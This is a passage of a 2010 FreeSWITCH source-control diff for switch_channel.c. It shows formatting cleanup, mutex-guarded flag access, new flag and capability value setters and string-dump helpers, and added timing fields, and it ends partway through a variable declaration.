<span class="info">--- freeswitch/trunk/src/switch_channel.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_channel.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -173,7 +173,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-SWITCH_DECLARE(void) switch_channel_audio_sync(switch_channel_t *channel)
</del><ins>+SWITCH_DECLARE(void) switch_channel_audio_sync(switch_channel_t *channel)
</ins><span class="cx"> {
</span><span class="cx">         if (switch_channel_media_ready(channel)) {
</span><span class="cx">                 switch_core_session_message_t msg = { 0 };
</span><span class="lines">@@ -375,9 +375,9 @@
</span><span class="cx">                 *dtmf = *dt;
</span><span class="cx">
</span><span class="cx">                 if (switch_queue_trypush(channel->dtmf_log_queue, dt) != SWITCH_STATUS_SUCCESS) {
</span><del>-                        free(dt);                        
</del><ins>+                        free(dt);
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 dt = NULL;
</span><span class="cx">
</span><span class="cx">                 if (dtmf->duration > switch_core_max_dtmf_duration(0)) {
</span><span class="lines">@@ -497,7 +497,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "event_type", "presence");
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "alt_event_type", "dialog");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (call_info) {
</span><span class="cx">                         char *call_info_state = "active";
</span><span class="cx">
</span><span class="lines">@@ -528,7 +528,7 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(const char *) switch_channel_get_variable(switch_channel_t *channel, const char *varname)
</del><ins>+SWITCH_DECLARE(const char *) switch_channel_get_variable_dup(switch_channel_t *channel, const char *varname, switch_bool_t dup)
</ins><span class="cx"> {
</span><span class="cx">         const char *v = NULL, *r = NULL;
</span><span class="cx">         switch_assert(channel != NULL);
</span><span class="lines">@@ -552,8 +552,13 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (v) r = switch_core_session_strdup(channel->session, v);
-        
</del><ins>+        if (dup) {
+                if (v)
+                        r = switch_core_session_strdup(channel->session, v);
+        } else {
+                r = v;
+        }
+
</ins><span class="cx">         switch_mutex_unlock(channel->profile_mutex);
</span><span class="cx">
</span><span class="cx">         return r;
</span><span class="lines">@@ -564,7 +569,7 @@
</span><span class="cx">         const char *uuid;
</span><span class="cx">         const char *val = NULL, *r = NULL;
</span><span class="cx">         switch_assert(channel != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(varname)) {
</span><span class="cx">                 if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
</span><span class="cx">                         switch_core_session_t *session;
</span><span class="lines">@@ -576,7 +581,8 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (val) r = switch_core_session_strdup(channel->session, val);
</del><ins>+        if (val)
+                r = switch_core_session_strdup(channel->session, val);
</ins><span class="cx">
</span><span class="cx">         return r;
</span><span class="cx"> }
</span><span class="lines">@@ -681,7 +687,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 v = SWITCH_BLANK_STRING;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(name, "dialplan")) {
</span><span class="cx">                 channel->caller_profile->dialplan = v;
</span><span class="cx">         } else if (!strcasecmp(name, "username")) {
</span><span class="lines">@@ -728,11 +734,11 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_var_check(switch_channel_t *channel,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_var_check(switch_channel_t *channel,
</ins><span class="cx">                                                                                                                                          const char *varname, const char *value, switch_bool_t var_check)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(channel != NULL);
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(channel->profile_mutex);
</span><span class="lines">@@ -740,7 +746,7 @@
</span><span class="cx">                 switch_event_del_header(channel->variables, varname);
</span><span class="cx">                 if (!zstr(value)) {
</span><span class="cx">                         int ok = 1;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (var_check) {
</span><span class="cx">                                 ok = !switch_string_var_check_const(value);
</span><span class="cx">                         }
</span><span class="lines">@@ -785,7 +791,7 @@
</span><span class="cx">                 free(data);
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(channel->profile_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -804,12 +810,12 @@
</span><span class="cx">         va_start(ap, fmt);
</span><span class="cx">         ret = switch_vasprintf(&varname, fmt, ap);
</span><span class="cx">         va_end(ap);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (ret == -1) {
</span><span class="cx">                 switch_mutex_unlock(channel->profile_mutex);
</span><span class="cx">                 return SWITCH_STATUS_MEMERR;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         status = switch_channel_set_variable(channel, varname, val);
</span><span class="cx">
</span><span class="cx">         free(varname);
</span><span class="lines">@@ -820,7 +826,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_partner_var_check(switch_channel_t *channel,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_partner_var_check(switch_channel_t *channel,
</ins><span class="cx">                                                                                                                                                          const char *varname, const char *value, switch_bool_t var_check)
</span><span class="cx"> {
</span><span class="cx">         const char *uuid;
</span><span class="lines">@@ -843,8 +849,15 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(uint32_t) switch_channel_test_flag(switch_channel_t *channel, switch_channel_flag_t flag)
</span><span class="cx"> {
</span><ins>+        uint32_t r = 0;
+
</ins><span class="cx">         switch_assert(channel != NULL);
</span><del>-        return channel->flags[flag];
</del><ins>+
+        switch_mutex_lock(channel->flag_mutex);
+        r = channel->flags[flag];
+        switch_mutex_unlock(channel->flag_mutex);
+
+        return r;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_bool_t) switch_channel_set_flag_partner(switch_channel_t *channel, switch_channel_flag_t flag)
</span><span class="lines">@@ -869,7 +882,7 @@
</span><span class="cx"> {
</span><span class="cx">         const char *uuid;
</span><span class="cx">         int r = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(channel != NULL);
</span><span class="cx">
</span><span class="cx">         if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
</span><span class="lines">@@ -910,7 +923,8 @@
</span><span class="cx">                 state = switch_channel_get_running_state(other_channel);
</span><span class="cx">                 mystate = switch_channel_get_running_state(channel);
</span><span class="cx">
</span><del>-                if (mystate == want_state || state >= CS_HANGUP || mystate >= CS_HANGUP) {
</del><ins>+                if ((channel->state == channel->running_state && channel->running_state == want_state) ||
+                        other_channel->state >= CS_HANGUP || channel->state >= CS_HANGUP) {
</ins><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">                 switch_cond_next();
</span><span class="lines">@@ -936,13 +950,11 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_channel_wait_for_flag(switch_channel_t *channel,
-                                                                                                                         switch_channel_flag_t want_flag,
-                                                                                                                         switch_bool_t pres,
-                                                                                                                         uint32_t to,
-                                                                                                                         switch_channel_t *super_channel)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_channel_wait_for_flag(switch_channel_t *channel,
+                                                                                                                         switch_channel_flag_t want_flag,
+                                                                                                                         switch_bool_t pres, uint32_t to, switch_channel_t *super_channel)
</ins><span class="cx"> {
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (to) {
</span><span class="cx">                 to++;
</span><span class="cx">         }
</span><span class="lines">@@ -977,13 +989,13 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-SWITCH_DECLARE(void) switch_channel_set_cap(switch_channel_t *channel, switch_channel_cap_t cap)
</del><ins>+SWITCH_DECLARE(void) switch_channel_set_cap_value(switch_channel_t *channel, switch_channel_cap_t cap, uint32_t value)
</ins><span class="cx"> {
</span><span class="cx">         switch_assert(channel);
</span><span class="cx">         switch_assert(channel->flag_mutex);
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(channel->flag_mutex);
</span><del>-        channel->caps[cap] = 1;
</del><ins>+        channel->caps[cap] = value;
</ins><span class="cx">         switch_mutex_unlock(channel->flag_mutex);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1003,14 +1015,65 @@
</span><span class="cx">         return channel->caps[cap] ? 1 : 0;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(void) switch_channel_set_flag(switch_channel_t *channel, switch_channel_flag_t flag)
</del><ins>+SWITCH_DECLARE(char *) switch_channel_get_flag_string(switch_channel_t *channel)
</ins><span class="cx"> {
</span><ins>+        switch_stream_handle_t stream = { 0 };
+        char *r;
+        int i = 0;
+
+        SWITCH_STANDARD_STREAM(stream);
+
+        switch_mutex_lock(channel->flag_mutex);
+        for (i = 0; i < CF_FLAG_MAX; i++) {
+                if (channel->flags[i]) {
+                        stream.write_function(&stream, "%d=%d;", i, channel->flags[i]);
+                }
+        }
+        switch_mutex_unlock(channel->flag_mutex);
+
+        r = (char *) stream.data;
+
+        if (end_of(r) == ';') {
+                end_of(r) = '\0';
+        }
+
+        return r;
+
+}
+
+SWITCH_DECLARE(char *) switch_channel_get_cap_string(switch_channel_t *channel)
+{
+        switch_stream_handle_t stream = { 0 };
+        char *r;
+        int i = 0;
+
+        SWITCH_STANDARD_STREAM(stream);
+
+        switch_mutex_lock(channel->flag_mutex);
+        for (i = 0; i < CC_FLAG_MAX; i++) {
+                if (channel->caps[i]) {
+                        stream.write_function(&stream, "%d=%d;", i, channel->caps[i]);
+                }
+        }
+        switch_mutex_unlock(channel->flag_mutex);
+
+        r = (char *) stream.data;
+
+        if (end_of(r) == ';') {
+                end_of(r) = '\0';
+        }
+
+        return r;
+
+}
+
+SWITCH_DECLARE(void) switch_channel_set_flag_value(switch_channel_t *channel, switch_channel_flag_t flag, uint32_t value)
+{
</ins><span class="cx">         switch_assert(channel);
</span><span class="cx">         switch_assert(channel->flag_mutex);
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(channel->flag_mutex);
</span><del>-        
-        channel->flags[flag] = 1;
</del><ins>+        channel->flags[flag] = value;
</ins><span class="cx">         switch_mutex_unlock(channel->flag_mutex);
</span><span class="cx">
</span><span class="cx">         if (flag == CF_OUTBOUND) {
</span><span class="lines">@@ -1099,7 +1162,7 @@
</span><span class="cx">         switch_mutex_lock(channel->flag_mutex);
</span><span class="cx">         channel->flags[flag] = 0;
</span><span class="cx">         switch_mutex_unlock(channel->flag_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (flag == CF_OUTBOUND) {
</span><span class="cx">                 switch_channel_set_variable(channel, "is_outbound", NULL);
</span><span class="cx">         }
</span><span class="lines">@@ -1116,6 +1179,7 @@
</span><span class="cx">                 channel->flags[flag]--;
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(channel->flag_mutex);
</span><ins>+
</ins><span class="cx">         if (flag == CF_OUTBOUND) {
</span><span class="cx">                 switch_channel_set_variable(channel, "is_outbound", NULL);
</span><span class="cx">         }
</span><span class="lines">@@ -1141,20 +1205,24 @@
</span><span class="cx">         return state;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(int) switch_channel_test_ready(switch_channel_t *channel, switch_bool_t media)
</del><ins>+SWITCH_DECLARE(int) switch_channel_test_ready(switch_channel_t *channel, switch_bool_t check_ready, switch_bool_t check_media)
</ins><span class="cx"> {
</span><span class="cx">         int ret = 0;
</span><span class="cx">
</span><span class="cx">         switch_assert(channel != NULL);
</span><span class="cx">
</span><del>-        if (media) {
-                ret = ((switch_channel_test_flag(channel, CF_ANSWERED) ||
-                                switch_channel_test_flag(channel, CF_EARLY_MEDIA)) && !switch_channel_test_flag(channel, CF_PROXY_MODE) &&
</del><ins>+        if (check_media) {
+                ret = ((switch_channel_test_flag(channel, CF_ANSWERED) ||
+                                switch_channel_test_flag(channel, CF_EARLY_MEDIA)) && !switch_channel_test_flag(channel, CF_PROXY_MODE) &&
</ins><span class="cx">                          switch_core_session_get_read_codec(channel->session) && switch_core_session_get_write_codec(channel->session));
</span><span class="cx">
</span><del>-                if (!ret) return ret;
</del><ins>+                if (!ret)
+                        return ret;
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
+        if (!check_ready)
+                return ret;
+
</ins><span class="cx">         ret = 0;
</span><span class="cx">
</span><span class="cx">         if (!channel->hangup_cause && channel->state > CS_ROUTING && channel->state < CS_HANGUP && channel->state != CS_RESET &&
</span><span class="lines">@@ -1205,11 +1273,12 @@
</span><span class="cx"> {
</span><span class="cx">         int x;
</span><span class="cx">         switch_mutex_lock(channel->state_mutex);
</span><del>-        switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_DEBUG, "(%s) Running State Change %s\n", channel->name, state_names[state]);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_DEBUG, "(%s) Running State Change %s\n",
+                                         channel->name, state_names[state]);
</ins><span class="cx">         channel->running_state = state;
</span><span class="cx">
</span><span class="cx">         if (channel->state_flags[0]) {
</span><del>-                for(x = 1; x < CF_FLAG_MAX ; x++ ) {
</del><ins>+                for (x = 1; x < CF_FLAG_MAX; x++) {
</ins><span class="cx">                         if (channel->state_flags[x]) {
</span><span class="cx">                                 channel->flags[x] = 1;
</span><span class="cx">                                 channel->state_flags[x] = 0;
</span><span class="lines">@@ -1479,10 +1548,10 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_channel_event_set_basic_data(switch_channel_t *channel, switch_event_t *event)
</span><span class="cx"> {
</span><span class="cx">         switch_caller_profile_t *caller_profile, *originator_caller_profile = NULL, *originatee_caller_profile = NULL;
</span><del>-        switch_codec_implementation_t impl = {0};
</del><ins>+        switch_codec_implementation_t impl = { 0 };
</ins><span class="cx">         char state_num[25];
</span><span class="cx">         const char *v;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(channel->profile_mutex);
</span><span class="cx">
</span><span class="cx">         if ((caller_profile = channel->caller_profile)) {
</span><span class="lines">@@ -1495,7 +1564,7 @@
</span><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Channel-State-Number", state_num);
</span><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Channel-Name", switch_channel_get_name(channel));
</span><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Unique-ID", switch_core_session_get_uuid(channel->session));
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Call-Direction",
</span><span class="cx">                                                                  channel->direction == SWITCH_CALL_DIRECTION_OUTBOUND ? "outbound" : "inbound");
</span><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Presence-Call-Direction",
</span><span class="lines">@@ -1536,11 +1605,11 @@
</span><span class="cx">         if (caller_profile) {
</span><span class="cx">                 switch_caller_profile_event_set_data(caller_profile, "Caller", event);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (originator_caller_profile && originatee_caller_profile) {
</span><span class="cx">                 /* Index Originator's Profile */
</span><span class="cx">                 switch_caller_profile_event_set_data(originator_caller_profile, "Originator", event);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* Index Originatee's Profile */
</span><span class="cx">                 switch_caller_profile_event_set_data(originatee_caller_profile, "Originatee", event);
</span><span class="cx">         } else {
</span><span class="lines">@@ -1561,8 +1630,8 @@
</span><span class="cx">         int x;
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(channel->profile_mutex);
</span><del>-        
-        if (switch_channel_test_flag(channel, CF_VERBOSE_EVENTS) ||
</del><ins>+
+        if (switch_channel_test_flag(channel, CF_VERBOSE_EVENTS) ||
</ins><span class="cx">                 event->event_id == SWITCH_EVENT_CHANNEL_ORIGINATE ||
</span><span class="cx">                 event->event_id == SWITCH_EVENT_CHANNEL_UUID ||
</span><span class="cx">                 event->event_id == SWITCH_EVENT_CHANNEL_ANSWER ||
</span><span class="lines">@@ -1580,10 +1649,7 @@
</span><span class="cx">                 event->event_id == SWITCH_EVENT_SESSION_HEARTBEAT ||
</span><span class="cx">                 event->event_id == SWITCH_EVENT_API ||
</span><span class="cx">                 event->event_id == SWITCH_EVENT_RECORD_START ||
</span><del>-                event->event_id == SWITCH_EVENT_RECORD_STOP ||
-                event->event_id == SWITCH_EVENT_CALL_UPDATE ||
-                event->event_id == SWITCH_EVENT_CUSTOM
-                ) {
</del><ins>+                event->event_id == SWITCH_EVENT_RECORD_STOP || event->event_id == SWITCH_EVENT_CALL_UPDATE || event->event_id == SWITCH_EVENT_CUSTOM) {
</ins><span class="cx">
</span><span class="cx">                 x = 0;
</span><span class="cx">                 /* Index Variables */
</span><span class="lines">@@ -1591,7 +1657,7 @@
</span><span class="cx">                         for (hi = channel->variables->headers; hi; hi = hi->next) {
</span><span class="cx">                                 char buf[1024];
</span><span class="cx">                                 char *vvar = NULL, *vval = NULL;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 vvar = (char *) hi->name;
</span><span class="cx">                                 vval = (char *) hi->value;
</span><span class="cx">                                 x++;
</span><span class="lines">@@ -1648,8 +1714,10 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        caller_profile->times = (switch_channel_timetable_t *) switch_core_session_alloc(channel->session, sizeof(*caller_profile->times));
-        caller_profile->times->profile_created = switch_micro_time_now();
</del><ins>+        if (!caller_profile->times) {
+                caller_profile->times = (switch_channel_timetable_t *) switch_core_session_alloc(channel->session, sizeof(*caller_profile->times));
+                caller_profile->times->profile_created = switch_micro_time_now();
+        }
</ins><span class="cx">
</span><span class="cx">         if (channel->caller_profile && channel->caller_profile->times) {
</span><span class="cx">                 channel->caller_profile->times->transferred = caller_profile->times->profile_created;
</span><span class="lines">@@ -1880,23 +1948,23 @@
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(orig_channel->profile_mutex);
</span><span class="cx">         switch_mutex_lock(new_channel->profile_mutex);
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         caller_profile = switch_caller_profile_clone(new_channel->session, new_channel->caller_profile);
</span><span class="cx">         switch_assert(caller_profile);
</span><span class="cx">         extension = switch_caller_extension_new(new_channel->session, caller_profile->destination_number, caller_profile->destination_number);
</span><span class="cx">         orig_extension = switch_channel_get_caller_extension(orig_channel);
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         if (extension && orig_extension) {
</span><del>-                for(ap = orig_extension->current_application; ap && offset > 0; offset--) {
</del><ins>+                for (ap = orig_extension->current_application; ap && offset > 0; offset--) {
</ins><span class="cx">                         ap = ap->next;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (; ap; ap = ap->next) {
</span><span class="cx">                         switch_caller_extension_add_application(new_channel->session, extension, ap->application_name, ap->application_data);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 caller_profile->destination_number = switch_core_strdup(caller_profile->pool, orig_channel->caller_profile->destination_number);
</span><span class="cx">                 switch_channel_set_caller_profile(new_channel, caller_profile);
</span><span class="cx">                 switch_channel_set_caller_extension(new_channel, extension);
</span><span class="lines">@@ -1909,9 +1977,10 @@
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
-                        if (!ok) continue;
</del><span class="cx">
</span><ins>+                        if (!ok)
+                                continue;
+
</ins><span class="cx">                         switch_channel_set_variable(new_channel, hi->name, hi->value);
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -1967,7 +2036,7 @@
</span><span class="cx">         switch_assert(channel != NULL);
</span><span class="cx">
</span><span class="cx">         switch_channel_clear_flag(channel, CF_BLOCK_STATE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (channel->state < CS_HANGUP) {
</span><span class="cx">                 switch_channel_state_t last_state;
</span><span class="cx">                 switch_event_t *event;
</span><span class="lines">@@ -2005,7 +2074,7 @@
</span><span class="cx">         char *app;
</span><span class="cx">         switch_event_t *event;
</span><span class="cx">
</span><del>-        if (!switch_channel_test_flag(channel, CF_RING_READY) && !switch_channel_test_flag(channel, CF_EARLY_MEDIA &&
</del><ins>+        if (!switch_channel_test_flag(channel, CF_RING_READY) && !switch_channel_test_flag(channel, CF_EARLY_MEDIA &&
</ins><span class="cx">                                                                                                                                                                          !switch_channel_test_flag(channel, CF_ANSWERED))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_NOTICE, "Ring-Ready %s!\n", channel->name);
</span><span class="cx">                 switch_channel_set_flag(channel, CF_RING_READY);
</span><span class="lines">@@ -2066,7 +2135,7 @@
</span><span class="cx">                         switch_channel_event_set_data(channel, event);
</span><span class="cx">                         switch_event_fire(&event);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (channel->caller_profile && channel->caller_profile->times) {
</span><span class="cx">                         switch_mutex_lock(channel->profile_mutex);
</span><span class="cx">                         channel->caller_profile->times->progress_media = switch_micro_time_now();
</span><span class="lines">@@ -2085,7 +2154,7 @@
</span><span class="cx">                         switch_mutex_unlock(channel->profile_mutex);
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                if (((var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_PRE_ANSWER_VARIABLE)) ||
</del><ins>+                if (((var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_PRE_ANSWER_VARIABLE)) ||
</ins><span class="cx">                          (var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_MEDIA_VARIABLE))) && !zstr(var)) {
</span><span class="cx">                         char *arg = NULL;
</span><span class="cx">                         app = switch_core_session_strdup(channel->session, var);
</span><span class="lines">@@ -2167,7 +2236,7 @@
</span><span class="cx">                 msg.from = channel->name;
</span><span class="cx">                 status = switch_core_session_perform_receive_message(channel->session, &msg, file, func, line);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_NOTICE, "Ring Ready %s!\n", channel->name);
</span><span class="cx">         } else {
</span><span class="lines">@@ -2236,23 +2305,25 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "ANSWER");
</span><del>-        switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_NOTICE, "Channel [%s] has been answered\n", channel->name);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_NOTICE, "Channel [%s] has been answered\n",
+                                         channel->name);
</ins><span class="cx">
</span><del>-        if (((var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_ANSWER_VARIABLE)) ||
-                 (!switch_channel_test_flag(channel, CF_EARLY_MEDIA) && (var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_MEDIA_VARIABLE))))
</del><ins>+        if (((var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_ANSWER_VARIABLE)) ||
+                 (!switch_channel_test_flag(channel, CF_EARLY_MEDIA) && (var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_MEDIA_VARIABLE))))
</ins><span class="cx">                 && !zstr(var)) {
</span><span class="cx">                 char *arg = NULL;
</span><span class="cx">
</span><span class="cx">                 app = switch_core_session_strdup(channel->session, var);
</span><del>-                
-                if ((arg = strchr(app, ':')) && *(arg+1) == ':') {
</del><ins>+
+                if ((arg = strchr(app, ':')) && *(arg + 1) == ':') {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, "%s execute on answer: %s (BROADCAST)\n", channel->name, app);
</span><span class="cx">                         switch_ivr_broadcast(switch_core_session_get_uuid(channel->session), app, SMF_NONE);
</span><span class="cx">                 } else {
</span><span class="cx">                         if ((arg = strchr(app, ' '))) {
</span><span class="cx">                                 *arg++ = '\0';
</span><span class="cx">                         }
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, "%s execute on answer: %s(%s)\n", channel->name, app, switch_str_nil(arg));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, "%s execute on answer: %s(%s)\n", channel->name, app,
+                                                         switch_str_nil(arg));
</ins><span class="cx">                         switch_core_session_execute_application(channel->session, app, arg);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -2269,8 +2340,8 @@
</span><span class="cx">                 SWITCH_STANDARD_STREAM(stream);
</span><span class="cx">                 switch_api_execute(app, arg, NULL, &stream);
</span><span class="cx">
</span><del>-                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, "%s api on answer: %s(%s)\n%s\n",
-                                                 channel->name, app, switch_str_nil(arg), (char *)stream.data);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, "%s api on answer: %s(%s)\n%s\n",
+                                                 channel->name, app, switch_str_nil(arg), (char *) stream.data);
</ins><span class="cx">                 free(stream.data);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -2295,7 +2366,7 @@
</span><span class="cx">         if (switch_channel_test_flag(channel, CF_ANSWERED)) {
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_channel_test_flag(channel, CF_OUTBOUND)) {
</span><span class="cx">                 msg.message_id = SWITCH_MESSAGE_INDICATE_ANSWER;
</span><span class="cx">                 msg.from = channel->name;
</span><span class="lines">@@ -2465,7 +2536,7 @@
</span><span class="cx">                                                 }
</span><span class="cx">
</span><span class="cx">                                                 if (offset >= 0) {
</span><del>-                                                        if ((size_t)offset > strlen(sub_val)) {
</del><ins>+                                                        if ((size_t) offset > strlen(sub_val)) {
</ins><span class="cx">                                                                 *sub_val = '\0';
</span><span class="cx">                                                         } else {
</span><span class="cx">                                                                 sub_val += offset;
</span><span class="lines">@@ -2699,7 +2770,7 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_core_session_t*) switch_channel_get_session(switch_channel_t *channel)
</del><ins>+SWITCH_DECLARE(switch_core_session_t *) switch_channel_get_session(switch_channel_t *channel)
</ins><span class="cx"> {
</span><span class="cx">         switch_assert(channel);
</span><span class="cx">         return channel->session;
</span><span class="lines">@@ -2712,15 +2783,17 @@
</span><span class="cx">         switch_caller_profile_t *caller_profile, *ocp;
</span><span class="cx">         switch_app_log_t *app_log, *ap;
</span><span class="cx">         char *last_app = NULL, *last_arg = NULL;
</span><del>-        char start[80] = "", answer[80] = "", progress[80] = "", progress_media[80] = "", end[80] = "", tmp[80] = "", profile_start[80] = "";
</del><ins>+        char start[80] = "", resurrect[80] = "", answer[80] = "", progress[80] = "", progress_media[80] = "", end[80] = "", tmp[80] = "", profile_start[80] =
+                "";
</ins><span class="cx">         int32_t duration = 0, legbillsec = 0, billsec = 0, mduration = 0, billmsec = 0, legbillmsec = 0, progressmsec = 0, progress_mediamsec = 0;
</span><span class="cx">         int32_t answersec = 0, answermsec = 0;
</span><span class="cx">         switch_time_t answerusec = 0;
</span><span class="cx">         switch_time_t uduration = 0, legbillusec = 0, billusec = 0, progresssec = 0, progressusec = 0, progress_mediasec = 0, progress_mediausec = 0;
</span><del>-        time_t tt_created = 0, tt_answered = 0, tt_progress = 0, tt_progress_media = 0, tt_hungup = 0, mtt_created = 0, mtt_answered = 0, mtt_hungup =
-                0, tt_prof_created, mtt_prof_created, mtt_progress = 0, mtt_progress_media = 0;
</del><ins>+        time_t tt_created = 0, tt_answered = 0, tt_resurrected = 0,
+                tt_progress = 0, tt_progress_media = 0, tt_hungup = 0, mtt_created = 0, mtt_answered = 0, mtt_resurrected = 0,
